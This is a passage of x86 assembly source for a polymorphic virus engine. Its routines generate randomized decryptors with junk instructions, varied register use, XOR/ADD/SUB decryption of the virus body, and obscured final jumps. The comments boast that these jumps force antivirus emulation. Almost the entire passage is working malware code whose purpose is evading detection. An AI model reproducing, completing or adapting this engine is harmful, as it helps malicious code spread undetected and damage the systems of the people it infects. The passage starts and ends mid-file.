;; Buffer (a register to use with garbage). If the register isn't "touched",
|
||
;; the register is initialized to a random value with a MOV or similar.
|
||
SelectARegisterWithInit proc
|
||
call SelectARegister ; Call to the register selection
|
||
jmp SelectReg_Common ; Jump to the register initialization
|
||
; common part of the function above
|
||
SelectARegisterWithInit endp
|
||
|
||
;; This function makes the instructions to modify the Index1 register
|
||
ModifyIndex1 proc
|
||
mov dl, [ebp+Index1Register]
|
||
mov eax, [ebp+Index1Modifier]
|
||
ModifyNdxReg: call DoADD
|
||
call DoRandomGarbage
|
||
call DoRandomGarbage
|
||
ret
|
||
ModifyIndex1 endp
|
||
|
||
;; This function makes the instructions to modify the Index2 register
|
||
ModifyIndex2 proc
|
||
mov dl, [ebp+Index2Register]
|
||
mov eax, [ebp+Index2Modifier]
|
||
jmp ModifyNdxReg
|
||
ModifyIndex2 endp
|
||
|
||
;; This function makes the instructions to mask the Index1 with AND
|
||
MaskIndex1 proc
|
||
mov ecx, Virus_SizePOW2
|
||
call Random
|
||
and eax, 3
|
||
inc eax
|
||
sub ecx, eax
|
||
call Random
|
||
and eax, NOT(Virus_SizePOW2 - 1)
|
||
and eax, NOT(Virus_SizePOW2)
|
||
or ecx, eax ; ECX=The pure mask with random bits
|
||
; where in the register to mask will be
|
||
; always 0
|
||
mov dl, [ebp+Index1Register]
|
||
MaskNdxReg: or dl, dl
|
||
jz @@EAX
|
||
mov ax, 0E081h ; AND Reg,Value
|
||
or ah, dl
|
||
stosw ; Store the opcode
|
||
jmp @@InsertValue
|
||
@@EAX: mov al, 25h ; AND EAX,Value
|
||
stosb ; Store the opcode
|
||
@@InsertValue: xchg ecx, eax
|
||
stosd ; Store the masking value
|
||
call DoRandomGarbage ; Make garbage
|
||
call DoRandomGarbage
|
||
ret ; Return
|
||
MaskIndex1 endp
|
||
|
||
;; This function makes the instructions to mask the Index2 with AND
|
||
MaskIndex2 proc
|
||
mov ecx, Virus_SizePOW2 - 4
|
||
call Random
|
||
and eax, NOT(Virus_SizePOW2 - 1)
|
||
and eax, NOT(Virus_SizePOW2)
|
||
or ecx, eax
|
||
mov dl, [ebp+Index2Register] ; ECX=Mask with random bits
|
||
; where in the register to
|
||
; mask will be 0
|
||
jmp MaskNdxReg ; Jump to the common part
|
||
MaskIndex2 endp
|
||
|
||
;; This function is common when doing the "functional" code in the branch.
|
||
;; What it does is to XOR the Index2 with the Index1, do garbage, make the
|
||
;; code to decrypt and do more garbage.
|
||
Patch1 proc
|
||
mov dh, [ebp+Index1Register]
|
||
mov dl, [ebp+Index2Register]
|
||
call DoXORRegReg
|
||
call DoRandomGarbage
|
||
call DoRandomGarbage
|
||
call InsertDecryption
|
||
call DoRandomGarbage
|
||
call DoRandomGarbage
|
||
ret
|
||
Patch1 endp
|
||
|
||
;; This function construct code for the decryption operation. It can make a
|
||
;; wide variety of methods, using one or two registers inside the brackets,
|
||
;; and using a direct value or a register to decrypt. The decryption is XOR,
|
||
;; ADD or SUB. No in vane, it's one of the largest functions in this engine.
|
||
InsertDecryption proc
|
||
test byte ptr [ebp+TuaregFlags], 1 ; Use register for key?
|
||
jz @@WithKeyReg ; Then jump to there
|
||
|
||
;; Here we'll construct a XOR/ADD/SUB DWORD PTR [Address], DirectValue
|
||
cmp byte ptr [ebp+EncryptType], 1 ; Make XOR, ADD or SUB
|
||
jb @@PutSUBValue
|
||
jz @@PutADDValue
|
||
@@PutXORValue: mov ah, 0B0h ; XOR 2nd opcode
|
||
jmp @@PutValue
|
||
@@PutSUBValue: mov ah, 0A8h ; SUB 2nd opcode
|
||
jmp @@PutValue
|
||
@@PutADDValue: mov ah, 80h ; ADD 2nd opcode (the instruction is re-
|
||
; presented on the bits 6-5-4). And we
|
||
; set the two highest bits to 1-0, to
|
||
; activate a dword adding to the register
|
||
; inside the brackets
|
||
@@PutValue: mov al, 81h ; Main opcode
|
||
test byte ptr [ebp+TuaregFlags], 6 ; Use buffer register?
|
||
jnz @@NoBufferReg ; If not, use Index2
|
||
;; Here we made XOR/ADD/SUB DWORD PTR [BufferReg+AddingValue], KeyValue
|
||
@@WithBufferReg:
|
||
or ah, byte ptr [ebp+BufferRegister] ; Select buffer reg.
|
||
call RandomFlags ; Do we modify the buffer register B4?
|
||
jz @@NoAdditionalAddition ; If not, store directly the
|
||
; encrypted data begin address as
|
||
; addition
|
||
push eax ; Save opcode
|
||
call Random ; Get a random value
|
||
mov dl, byte ptr [ebp+BufferRegister] ;Get the buffer reg.
|
||
call DoADD ; Do an ADD Reg,Value instruction (or similar)
|
||
call DoRandomGarbage ; to add a random value, and some gar-
|
||
; bage
|
||
pop ebx
|
||
xchg ebx, eax ; EAX=Opcode, EBX=Additional addition
|
||
stosw ; Store opcode
|
||
mov eax, [ebp+EncryptedDataBeginAddress] ; Subtract to the
|
||
sub eax, ebx ; address addition the random ADDed to the
|
||
stosd ; buffer register and store it as addition
|
||
jmp @@Next_01 ; inside the brackets, and jump
|
||
@@NoAdditionalAddition:
|
||
stosw ; Store the opcode
|
||
mov eax, [ebp+EncryptedDataBeginAddress] ; Store this
|
||
stosd ; address directly (without modifications)
|
||
jmp @@Next_01 ; Jump
|
||
@@NoBufferReg:
|
||
or ah, byte ptr [ebp+Index2Register] ; Bind the reg. to
|
||
; the opcode
|
||
call RandomFlags ; Randomly select if we modify the
|
||
jz @@NoAdditionalAddition ;addition or we store the decrypt
|
||
; data begin address directly
|
||
test byte ptr [ebp+TuaregFlags], 2 ; PUSH/Decrypt/POP?
|
||
jnz @@UseBufferRegister ; If not, we modify buffer reg
|
||
call RandomFlags ; Randomly we select to modify the
|
||
jz @@UseBufferRegister ; buffer register or Index2 register
|
||
; (since we push it and pop it later,
|
||
; we can modify it)
|
||
@@UseIndexRegister:
|
||
push eax
|
||
call Random ; Get a random value to add
|
||
mov dl, byte ptr [ebp+Index2Register]
|
||
call DoADD ; Make an ADD with that random value
|
||
call DoRandomGarbage ; Make garbage
|
||
pop ebx
|
||
xchg ebx, eax
|
||
stosw ; Store the opcode
|
||
mov eax, [ebp+EncryptedDataBeginAddress]
|
||
sub eax, ebx ; Adjust the addition
|
||
stosd ; Store the addition
|
||
jmp @@Next_01 ; Jump to complete the instruction
|
||
;; Here we are going to make a MOV BufferReg,RandomValue. Then, inside the
|
||
;; decryption instruction, we'll use double index instead one index:
|
||
;; XOR/ADD/SUB DWORD PTR [Index2Reg+BufferReg+Dword_Addition], KeyValue
|
||
@@UseBufferRegister:
|
||
push eax
|
||
call Random ; Get a random value
|
||
mov dl, byte ptr [ebp+BufferRegister]
|
||
call DoMOV ; Move that value to the buffer register
|
||
call DoRandomGarbage ; Make garbage
|
||
mov ebx, eax
|
||
pop eax ; Pop the opcode
|
||
and ah, 0F8h ; Recode the 2nd opcode to insert a 3rd
|
||
or ah, 4
|
||
stosw ; Store the opcode
|
||
mov dh, byte ptr [ebp+Index2Register] ; Get the Index2
|
||
call RandomFlags ; 50% of probability to jump
|
||
setz cl
|
||
jz @@RJ_01
|
||
xchg dh, dl ; Exchange the two registers (the order
|
||
; doesn't matter)
|
||
@@RJ_01: shl dl, 3 ; Construct the opcode using the Index2 reg
|
||
mov al, dh ; and the buffer reg
|
||
or al, dl
|
||
or cl, cl
|
||
jz @@RJ_99
|
||
push eax
|
||
call Random
|
||
and al, 3
|
||
mov cl, al
|
||
mov eax, [ebp+EncryptedDataBeginAddress]
|
||
shl ebx, cl
|
||
sub eax, ebx
|
||
mov ebx, eax
|
||
pop eax
|
||
ror cl, 2
|
||
or al, cl
|
||
stosb
|
||
jmp @@RJ_98
|
||
@@RJ_99: stosb ; Store the third opcode
|
||
mov eax, [ebp+EncryptedDataBeginAddress]
|
||
sub eax, ebx ; Calculate the addition
|
||
mov ebx, eax
|
||
@@RJ_98: mov eax, ebx
|
||
stosd ; Store the addition
|
||
@@Next_01:
|
||
mov eax, [ebp+DecryptKey] ; Get the decryption key and
|
||
jmp @@IFC_Next_01 ; jump to store it.
|
||
|
||
;; Here we use a key register, that's it:
|
||
;; XOR/ADD/SUB [Register1+(opt.Register2+)AdditionValue],KeyRegister
|
||
@@WithKeyReg: cmp byte ptr [ebp+EncryptType], 1
|
||
jb @@PutSUBReg
|
||
jz @@PutADDReg
|
||
@@PutXORReg: mov al, 31h ; XOR opcode
|
||
jmp @@PutReg
|
||
@@PutADDReg: mov al, 01h ; ADD opcode
|
||
jmp @@PutReg
|
||
@@PutSUBReg: mov al, 29h ; SUB opcode. This time this is the first op-
|
||
; code
|
||
@@PutReg: mov ah, 80h ; Set dword addition in the 2nd opcode
|
||
test byte ptr [ebp+TuaregFlags], 6 ; Buffer register?
|
||
jnz @@NoBufferReg2 ; If not, jump
|
||
;; This time we made:
|
||
;; XOR/ADD/SUB [BufferReg+Addition],KeyRegister
|
||
@@WithBufferReg2:
|
||
mov dh, [ebp+BufferRegister] ; Get the buffer register
|
||
call RandomFlags ; Do we modify the addition?
|
||
jz @@Next_02 ; Jump if we store the decrypt data begin
|
||
; address directly
|
||
push edx
|
||
push eax
|
||
call Random ; Get a random value to ADD
|
||
mov dl, byte ptr [ebp+BufferRegister]
|
||
call DoADD ; Construct an ADD (or similar) with the
|
||
; buffer register and the random value
|
||
call DoRandomGarbage ; Make garbage
|
||
pop ebx
|
||
xchg ebx, eax
|
||
pop edx
|
||
mov dl, [ebp+KeyRegister] ; Get the key register
|
||
shl dl, 3 ; Construct the second opcode with the
|
||
or ah, dl ; buffer register and the key register
|
||
or ah, dh
|
||
stosw ; Store the opcode
|
||
mov eax, [ebp+EncryptedDataBeginAddress] ; Calculate the
|
||
sub eax, ebx ; addition after the ADD
|
||
jmp @@IFC_Next_01 ; Jump to store it and finish
|
||
|
||
;; Here we can construct an instruction similar to the above but using
|
||
;; Index2 or use Index2 and BufferReg as a two-index memory reference.
|
||
@@NoBufferReg2:
|
||
mov dh, [ebp+Index2Register]
|
||
call RandomFlags ; Randomly jump to complete the instruc-
|
||
jz @@Next_02 ; tion directly
|
||
test byte ptr [ebp+TuaregFlags], 2 ; Double XORing?
|
||
jnz @@UseBufferRegister2 ; If so, use only buffer register
|
||
call RandomFlags ; Select if we use only Index2 or buffer
|
||
jz @@UseBufferRegister2 ; too
|
||
;; Here we construct:
|
||
;; XOR/ADD/SUB [Index2+Addition],KeyRegister
|
||
@@UseIndexRegister2:
|
||
push edx
|
||
push eax
|
||
call Random
|
||
mov dl, byte ptr [ebp+Index2Register]
|
||
call DoADD ; Modify the Index2 with an ADD
|
||
call DoRandomGarbage ; Make garbage
|
||
pop ebx
|
||
xchg ebx, eax
|
||
pop edx
|
||
mov dl, [ebp+KeyRegister]
|
||
shl dl, 3
|
||
or ah, dl
|
||
or ah, dh
|
||
stosw ; Construct the opcode of the instruction
|
||
mov eax, [ebp+EncryptedDataBeginAddress] ; Calculate the
|
||
sub eax, ebx ; addition and jump to store it
|
||
jmp @@IFC_Next_01
|
||
;; Here we are going to use the buffer register and the Index2 register.
|
||
;; As before, we'll use the buffer register with a random value instead
|
||
;; of adjusting the addition, so the relative address will be represented
|
||
;; in two registers plus a dword addition.
|
||
@@UseBufferRegister2:
|
||
push eax
|
||
call Random
|
||
mov dl, byte ptr [ebp+BufferRegister]
|
||
call DoMOV ; Make a MOV BufferReg,RandomValue (or simi-
|
||
call DoRandomGarbage ; lar) and some garbage
|
||
pop ebx
|
||
xchg ebx, eax
|
||
mov ah, 84h ; Fixed (agh) 2nd opcode, which signali-
|
||
; ces dword addition and the use of a
|
||
; third opcode
|
||
mov dl, [ebp+KeyRegister]
|
||
shl dl, 3
|
||
or ah, dl ; Set the key register
|
||
stosw ; Store the opcode
|
||
mov dl, [ebp+BufferRegister]
|
||
mov dh, [ebp+Index2Register]
|
||
call RandomFlags
|
||
setz cl
|
||
jz @@RJ_02
|
||
xchg dh, dl
|
||
@@RJ_02: shl dl, 3
|
||
mov al, dh ; Now construct the third opcode, which
|
||
or al, dl ; means (with the 2nd) [Reg1+Reg2+Value]
|
||
or cl, cl
|
||
jz @@RJ_97
|
||
push eax
|
||
call Random
|
||
and al, 3
|
||
mov cl, al
|
||
pop eax
|
||
shl ebx, cl
|
||
ror cl, 2
|
||
or al, cl
|
||
@@RJ_97: stosb
|
||
mov eax, [ebp+EncryptedDataBeginAddress]
|
||
sub eax, ebx ; Construct the addition...
|
||
jmp @@IFC_Next_01 ; ...and jump to store it
|
||
|
||
;; Here to put directly the decryption address added to the index register
|
||
@@Next_02: mov dl, [ebp+KeyRegister]
|
||
shl dl, 3
|
||
or ah, dl ; Bind the registers to the opcode
|
||
or ah, dh
|
||
stosw ; Store the opcode
|
||
mov eax, [ebp+EncryptedDataBeginAddress] ; Get the addr.
|
||
@@IFC_Next_01:
|
||
stosd ; Store it
|
||
call DoRandomGarbage ; Make garbage
|
||
call DoRandomGarbage
|
||
ret ; Return
|
||
InsertDecryption endp
|
||
|
||
;; Final jump to the decrypted part. With also a wide variety of methods, with
|
||
;; this there isn't a direct jump to the decrypted part, so the decryptor has
|
||
;; to be emulated completely to know where the decryptor jumps after the work
|
||
;; is done. Hahahahahahahaha! (devilish laugh :)
|
||
DoFinalJMP proc
|
||
;; Ways of jumping to the decrypted part:
|
||
; Common entry:
|
||
; MOV [Address], Value (in many and variated types)
|
||
; (optional) XOR/ADD/SUB [Address], Value
|
||
;; Jump:
|
||
; JMP [Address]
|
||
; PUSH [Address] / RET
|
||
; MOV Reg,[Address] / JMP Reg
|
||
; MOV Reg,Address / JMP [Reg]
|
||
;; In the common entry, the value and or the memory address can be in regis-
|
||
;; ters (the value is moved to a random register before using that value).
|
||
|
||
pushad ; Undocumented instruction :P
|
||
@@Repeat: call SelectOnlyTwoRegs ; It changes the reserve of four re-
|
||
; gisters to only two (no more needed)
|
||
mov ebx, [ebp+ReservedBssAddress] ; We reserved this addr.
|
||
; to avoid that the calling to DoRandomGarbage
|
||
; overwrites the data that we put here while
|
||
; the decryptor is running.
|
||
mov eax, [ebp+EncryptedDataBeginAddress]
|
||
call DoMOVMemValue
|
||
@@Next: call DoRandomGarbage ; Make garbage
|
||
call DoRandomGarbage
|
||
call SelectOnlyTwoRegs ; Reselect two registers and put
|
||
; them as "reserved"
|
||
mov dl, [ebp+Index1Register]
|
||
call Random ; Get the way of jumping to the address in
|
||
and al, 3 ; our variable
|
||
jz @@JMP__ ; Make JMP [Memory_Address]
|
||
cmp al, 2
|
||
jb @@PUSH__RET ; Make PUSH [Memory_Address]/RET
|
||
jz @@MOV__JMP ; Make MOV Reg,[Memory_Address]/JMP Reg
|
||
; Make MOV Reg,Memory_Address/JMP [Reg]
|
||
@@MOVJMP__: call RandomFlags
|
||
setz cl
|
||
jz @@MJ__Direct01
|
||
call Random
|
||
sub ebx, eax
|
||
jmp @@MJ__Direct03
|
||
@@MJ__Direct01:
|
||
mov eax, ebx ; EAX=Reserved memory address
|
||
@@MJ__Direct03:
|
||
call DoMOV
|
||
call DoRandomGarbage
|
||
call DoRandomGarbage
|
||
or cl, cl
|
||
jnz @@MJ__Direct02
|
||
mov ax, 0A0FFh
|
||
or ah, dl
|
||
stosw
|
||
mov eax, ebx
|
||
stosd
|
||
jmp @@Return
|
||
@@MJ__Direct02:
|
||
cmp dl, 5
|
||
jz @@MJ__EBP ; If the reserved register is EBP, jump
|
||
mov ax, 20FFh ; Opcode of JMP [Reg]
|
||
or ah, dl ; Set the used register
|
||
stosw ; Insert the instruction
|
||
jmp @@Return ; Return
|
||
@@MJ__EBP:
|
||
mov ax, 65FFh ; We have to store JMP [EBP+00], so we do
|
||
stosw ; it (a single EBP can't go alone, since
|
||
xor al, al ; 5 is the identifier of a direct memory
|
||
stosb ; address)
|
||
jmp @@Return ; Return
|
||
|
||
;; MOV Reg,[Memory_Address]/JMP Reg
|
||
@@MOV__JMP: mov dl, [ebp+Index1Register] ; Get the reserved register
|
||
call DoMOVRegMem
|
||
call DoRandomGarbage ; Make garbage
|
||
call DoRandomGarbage
|
||
mov ax, 0E0FFh ; Opcode of JMP Reg
|
||
or ah, dl ; Set the register in the opcode
|
||
stosw ; Store the opcode
|
||
jmp @@Return ; Return
|
||
|
||
;; PUSH [Memory_Address]/RET
|
||
@@PUSH__RET: call DoPUSHMem
|
||
call DoRandomGarbage
|
||
call DoRandomGarbage
|
||
mov al, 0C3h ; AL=opcode of RET
|
||
stosb ; Store it
|
||
jmp @@Return ; Return
|
||
|
||
;; JMP [Memory_Address]
|
||
@@JMP__: call RandomFlags
|
||
jz @@JMP__Direct
|
||
call Random
|
||
sub ebx, eax
|
||
call DoMOV
|
||
call DoRandomGarbage
|
||
call DoRandomGarbage
|
||
mov ax, 0A0FFh
|
||
or ah, dl
|
||
jmp @@Store_01
|
||
@@JMP__Direct:
|
||
mov ax, 25FFh ; AX=opcode of JMP [Memory_Address]
|
||
@@Store_01: stosw ; Store it
|
||
mov eax, ebx
|
||
stosd ; Complete the opcode with the memory address
|
||
; jmp @@Return
|
||
|
||
@@Return: mov eax, dword ptr [ebp+CopyOfUsedRegisters]
|
||
mov dword ptr [ebp+Index1Register], eax ; Restore the re-
|
||
; served registers
|
||
mov [esp+S_EDI], edi ; Replace EDI in the stack
|
||
popad ; Restore registers
|
||
ret ; Return
|
||
DoFinalJMP endp
|
||
|
||
;; This function selects two registers from Index1, Index2 or Counter, and
|
||
;; sets them on Index1. The key register remains unchanged, since it's needed
|
||
;; for the indexed memory accesses, due to the fact that its value never
|
||
;; changes.
|
||
SelectOnlyTwoRegs proc
|
||
push eax
|
||
push edx
|
||
@@OtherRandom:
|
||
call Random ; Get a random value from 0 to 3
|
||
and eax, 03h
|
||
cmp al, 2 ; Key register?
|
||
jz @@OtherRandom ; If so, then get another random
|
||
mov al, byte ptr [ebp+eax+CopyOfUsedRegisters] ; Get the
|
||
; register in DL
|
||
or eax, 08080800h ;Set the other three as 08 (unreserved)
|
||
mov dword ptr [ebp+Index1Register], eax ; Set them as the
|
||
; new registers
|
||
mov al, byte ptr [ebp+CopyOfUsedRegisters+2] ; Restore the
|
||
mov byte ptr [ebp+KeyRegister], al ; key register.
|
||
; This must be for the indexed memory writes
|
||
pop edx
|
||
pop eax
|
||
ret ; Return
|
||
SelectOnlyTwoRegs endp
|
||
|
||
;; This function constructs a comparision between a register and a value. The
|
||
;; comparision only can be used with JZ/JNZ. BufferRegister is used to make
|
||
;; a wider variety.
|
||
DoCMP proc
|
||
pushad
|
||
mov dl, byte ptr [ebp+BufferRegister] ; Get buffer reg.
|
||
push edx
|
||
cmp dl, 8 ; If there isn't any reserved, reserve one
|
||
jnz @@ThereIsOneSelected
|
||
call SelectARegister
|
||
mov byte ptr [ebp+BufferRegister], al
|
||
@@ThereIsOneSelected:
|
||
|
||
@@Repeat: call Random
|
||
and al, 7 ; Get a random value between 0 and 7
|
||
jz @@Repeat ; If 0, repeat
|
||
cmp al, 2
|
||
jbe @@PUSHXXX ; If 1-2, make PUSH/Comp/POP
|
||
; jb @@PUSHSUB
|
||
; jz @@PUSHXOR
|
||
cmp al, 3 ; If 3, do direct CMP
|
||
jz @@CMP
|
||
push eax ; Save EAX
|
||
mov dh, [ebp+Index2Register]
|
||
mov dl, [ebp+BufferRegister]
|
||
call DoMOVRegReg ; Move the value of Index2 (the register
|
||
; to compare) to BufferRegister
|
||
call DoRandomGarbage ; Make a good amount of garbage
|
||
call DoRandomGarbage
|
||
pop ecx ; Restore EAX in ECX
|
||
mov dl, [ebp+BufferRegister] ; DL=BufferRegister
|
||
mov eax, [ebp+InitialValue] ; EAX=Initial value of Index2
|
||
cmp cl, 5
|
||
jb @@MOVSUB ; CL=4, then do SUB BufferRegister,Value
|
||
; or ADD BufferRegister,NEG(Value)
|
||
jz @@MOVCMP ; CL=5, then do CMP BufferRegister,Value
|
||
@@MOVXOR: call DoXOR ; CL=6, then do XOR BufferRegister,Value
|
||
jmp @@End ; Jump and finish
|
||
@@MOVSUB: call DoSUB ; Make that SUB/ADD
|
||
jmp @@End ; Jump and finish
|
||
@@MOVCMP: or dl, dl ; If BufferRegister=EAX, then jump to store
|
||
jz @@CMP_EAX ; its own opcode
|
||
push eax
|
||
mov ax, 0F881h ; Opcode of CMP Reg,Value
|
||
or ah, dl ; Set the register to the opcode
|
||
stosw ; Store the opcode
|
||
jmp @@J01 ; Jump to store the value
|
||
|
||
@@CMP_EAX: push eax
|
||
mov al, 3Dh ; AL=Opcode of CMP EAX,Value
|
||
stosb ; Store it
|
||
@@J01: pop eax
|
||
stosd ; Store the value to compare
|
||
jmp @@End ; Return
|
||
|
||
@@CMP: call RandomFlags
|
||
jz @@Direct_CMPRegReg
|
||
mov dl, [ebp+Index2Register] ; Get the Index2 register
|
||
mov eax, [ebp+InitialValue] ; EAX=Value to compare
|
||
jmp @@MOVCMP ; Jump here to do a direct CMP
|
||
@@Direct_CMPRegReg:
|
||
call DoRandomGarbage
|
||
mov dl, [ebp+BufferRegister]
|
||
mov eax, [ebp+InitialValue]
|
||
call DoMOV
|
||
call DoRandomGarbage
|
||
mov dh, [ebp+Index2Register]
|
||
call RandomFlags
|
||
jz @@D_CMPRR03
|
||
js @@D_CMPRRXOR
|
||
@@D_CMPRRSUB:
|
||
mov ax, 0C029h
|
||
jmp @@D_CMPRR02
|
||
@@D_CMPRRXOR:
|
||
mov ax, 0C031h
|
||
@@D_CMPRR02:
|
||
call RandomFlags
|
||
jz @@D_CMPRR01
|
||
xchg dh, dl
|
||
add al, 2
|
||
@@D_CMPRR01:
|
||
jmp @@D_CMPRR04
|
||
@@D_CMPRR03:
|
||
mov ax, 0C039h
|
||
call RandomFlags
|
||
jz @@D_CMPRR05
|
||
xchg dh, dl
|
||
@@D_CMPRR05:
|
||
js @@D_CMPRR04
|
||
add al, 2
|
||
@@D_CMPRR04:
|
||
or ah, dl
|
||
shl dh, 3
|
||
or ah, dh
|
||
stosw
|
||
jmp @@End
|
||
|
||
;; Here we make PUSH Index2Register / XOR/SUB(ADD) Index2Register,(-)Value /
|
||
;; / POP Index2Register
|
||
@@PUSHXXX: mov dl, [ebp+Index2Register]
|
||
mov al, 50h ; Make a PUSH Index2Register
|
||
add al, dl
|
||
stosb ; Store that opcode
|
||
call DoRandomGarbage ; Make garbage
|
||
mov eax, [ebp+InitialValue] ; (get the value to compare)
|
||
call RandomFlags ; XOR or SUB/ADD?
|
||
jz @@PUSHSUB ; Do SUB
|
||
@@PUSHXOR: js @@PUSHXOR_D
|
||
mov dh, dl
|
||
mov dl, [ebp+BufferRegister]
|
||
call DoMOV
|
||
call DoRandomGarbage
|
||
call RandomFlags
|
||
jz @@PUSHXOR_R
|
||
xchg dh, dl
|
||
@@PUSHXOR_R: call DoXORRegReg
|
||
jmp @@PUSH_01
|
||
@@PUSHXOR_D: call DoXOR ; Do a XOR with that value
|
||
jmp @@PUSH_01 ; Jump to POP the register
|
||
@@PUSHSUB: js @@PUSHSUB_D
|
||
mov dh, dl
|
||
mov dl, [ebp+BufferRegister]
|
||
call DoMOV
|
||
call DoRandomGarbage
|
||
call RandomFlags
|
||
jz @@PUSHSUB_R
|
||
xchg dh, dl
|
||
@@PUSHSUB_R: call DoSUBRegReg
|
||
jmp @@PUSH_01
|
||
@@PUSHSUB_D: call DoSUB ; Make a SUB Reg,Value or ADD Reg,NEG(Value)
|
||
@@PUSH_01: ;we don't make garbage here, since I have to mantain the flags
|
||
;of the comparision
|
||
mov al, 58h ; Make the POP Index2Register
|
||
add al, [ebp+Index2Register]
|
||
stosb ; Store the opcode
|
||
; jmp @@End
|
||
|
||
@@End: pop edx ; Restore BufferRegister (if it was selected)
|
||
mov byte ptr [ebp+BufferRegister], dl
|
||
mov [esp+S_EDI], edi ; Conserve EDI when POPAD
|
||
popad
|
||
ret ; Return
|
||
DoCMP endp
|
||
|
||
;; This very used function performs a move operation with the register in
|
||
;; DL and the value in EAX. It can do a MOV Reg,Value, a LEA Reg,[Value] or
|
||
;; a PUSH Value/Garbage/POP Reg. Sometimes it doesn't give the correct value
|
||
;; just at the beginning, so the function adjusts the value with a sucession
|
||
;; of XORs, ADDs or SUBs to get the correct value.
|
||
DoMOV proc
|
||
pushad ; Save registers
|
||
inc byte ptr [ebp+MOVingRecursLevel]
|
||
cmp byte ptr [ebp+MOVingRecursLevel], 5
|
||
jae @@NoRecursives
|
||
@@RepeatRandom:
|
||
push eax
|
||
call Random
|
||
mov ebx, eax
|
||
pop eax
|
||
and bl, 7
|
||
jz @@MOVDirect
|
||
cmp bl, 2
|
||
jb @@LEA
|
||
jz @@LEA2
|
||
cmp bl, 4
|
||
jb @@PUSHPOP
|
||
jz @@MOVMEM
|
||
cmp bl, 5
|
||
ja @@RepeatRandom
|
||
|
||
@@Adjust: mov ebx, eax
|
||
call Random
|
||
and al, 3
|
||
jz @@NoRecursives2
|
||
mov [ebp+@@AdjustTimes], al
|
||
call Random
|
||
mov ecx, eax
|
||
push dword ptr [ebp+@@AdjustTimes]
|
||
call DoMOV
|
||
pop dword ptr [ebp+@@AdjustTimes]
|
||
@@Adj_Loop01:
|
||
push dword ptr [ebp+@@AdjustTimes]
|
||
call Random
|
||
@@Adj_OtherFlags:
|
||
call RandomFlags
|
||
jz @@Adj_01
|
||
js @@Adj_XOR
|
||
@@Adj_ADD: push eax
|
||
call Random
|
||
and eax, 0Fh
|
||
pop eax
|
||
jnz @@Adj_ADD01
|
||
cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@Adj_ADD01
|
||
add ecx, [ebp+DecryptKey]
|
||
mov dh, [ebp+KeyRegister]
|
||
call DoADDRegReg
|
||
jmp @@Adj_Next01
|
||
@@Adj_ADD01: add ecx, eax
|
||
call DoADD
|
||
jmp @@Adj_Next01
|
||
@@Adj_XOR: push eax
|
||
call Random
|
||
and eax, 0Fh
|
||
pop eax
|
||
jnz @@Adj_XOR01
|
||
cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@Adj_XOR01
|
||
xor ecx, [ebp+DecryptKey]
|
||
mov dh, [ebp+KeyRegister]
|
||
call DoXORRegReg
|
||
jmp @@Adj_Next01
|
||
@@Adj_XOR01: xor ecx, eax
|
||
call DoXOR
|
||
jmp @@Adj_Next01
|
||
@@Adj_01: js @@Adj_OtherFlags
|
||
@@Adj_SUB: push eax
|
||
call Random
|
||
and eax, 0Fh
|
||
pop eax
|
||
jnz @@Adj_SUB01
|
||
cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@Adj_SUB01
|
||
sub ecx, [ebp+DecryptKey]
|
||
mov dh, [ebp+KeyRegister]
|
||
call DoSUBRegReg
|
||
jmp @@Adj_Next01
|
||
@@Adj_SUB01: sub ecx, eax
|
||
call DoSUB
|
||
|
||
@@Adj_Next01:
|
||
call DoRandomGarbage
|
||
pop dword ptr [ebp+@@AdjustTimes]
|
||
dec byte ptr [ebp+@@AdjustTimes]
|
||
jnz @@Adj_Loop01
|
||
|
||
;; ECX=Current value, EBX=Desired value
|
||
@@Adj_Other:
|
||
call Random
|
||
and al, 3
|
||
jz @@Adj_Other
|
||
cmp al, 2
|
||
jb @@Adj_FinalADD
|
||
jz @@Adj_FinalXOR
|
||
@@Adj_FinalSUB:
|
||
sub ecx, ebx
|
||
mov eax, ecx
|
||
call DoSUB
|
||
jmp @@End
|
||
@@Adj_FinalADD:
|
||
sub ebx, ecx
|
||
mov eax, ebx
|
||
call DoADD
|
||
jmp @@End
|
||
@@Adj_FinalXOR:
|
||
xor ebx, ecx
|
||
mov eax, ebx
|
||
call DoXOR
|
||
jmp @@End
|
||
|
||
@@AdjustTimes db 0
|
||
db 3 dup (0) ; Padding
|
||
|
||
@@MOVDirect:
|
||
xchg ebx, eax
|
||
mov al, 0B8h
|
||
add al, dl
|
||
stosb
|
||
xchg eax, ebx
|
||
stosd
|
||
jmp @@End
|
||
@@LEA: xchg ebx, eax
|
||
mov ax, 058Dh
|
||
shl dl, 3
|
||
or ah, dl
|
||
shr dl, 3
|
||
stosw
|
||
xchg ebx, eax
|
||
stosd
|
||
jmp @@End
|
||
@@LEA2: cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@LEA
|
||
xchg ebx, eax
|
||
mov ax, 008Dh
|
||
shl dl, 3
|
||
or ah, dl
|
||
shr dl, 3
|
||
or ah, [ebp+KeyRegister]
|
||
sub ebx, [ebp+DecryptKey]
|
||
cmp ebx, 7Fh
|
||
jbe @@LEA2_b
|
||
cmp ebx, 0FFFFFF80h
|
||
jbe @@LEA2_d
|
||
@@LEA2_b:
|
||
or ah, 40h
|
||
stosw
|
||
xchg ebx, eax
|
||
stosb
|
||
jmp @@End
|
||
@@LEA2_d:
|
||
or ah, 80h
|
||
stosw
|
||
xchg ebx, eax
|
||
stosd
|
||
jmp @@End
|
||
|
||
@@PUSHPOP: call DoPUSHValue
|
||
call DoRandomGarbage
|
||
call DoPOPReg
|
||
jmp @@End
|
||
|
||
@@MOVMEM: call GetAndReserveVar
|
||
or ebx, ebx
|
||
jz @@NoRecursives
|
||
call DoMOVMemValue
|
||
call DoRandomGarbage
|
||
call DoMOVRegMem
|
||
call ReleaseVar
|
||
jmp @@End
|
||
|
||
@@NoRecursives2:
|
||
mov eax, ebx
|
||
@@NoRecursives:
|
||
push eax
|
||
call Random
|
||
mov ebx, eax
|
||
pop eax
|
||
and bl, 3
|
||
jz @@NoRecursives
|
||
cmp bl, 2
|
||
jb @@MOVDirect
|
||
jz @@LEA
|
||
jmp @@LEA2
|
||
|
||
@@End: dec byte ptr [ebp+MOVingRecursLevel]
|
||
and edx, 0FFh ; Mark this register as "touched" (since we
|
||
mov byte ptr [ebp+edx+TouchedRegisters], 1 ; moved a value
|
||
; to it)
|
||
mov [esp+S_EDI], edi ; Don't restore EDI when we do POPAD
|
||
popad
|
||
ret ; Return
|
||
DoMOV endp
|
||
|
||
DoPUSHValue proc
|
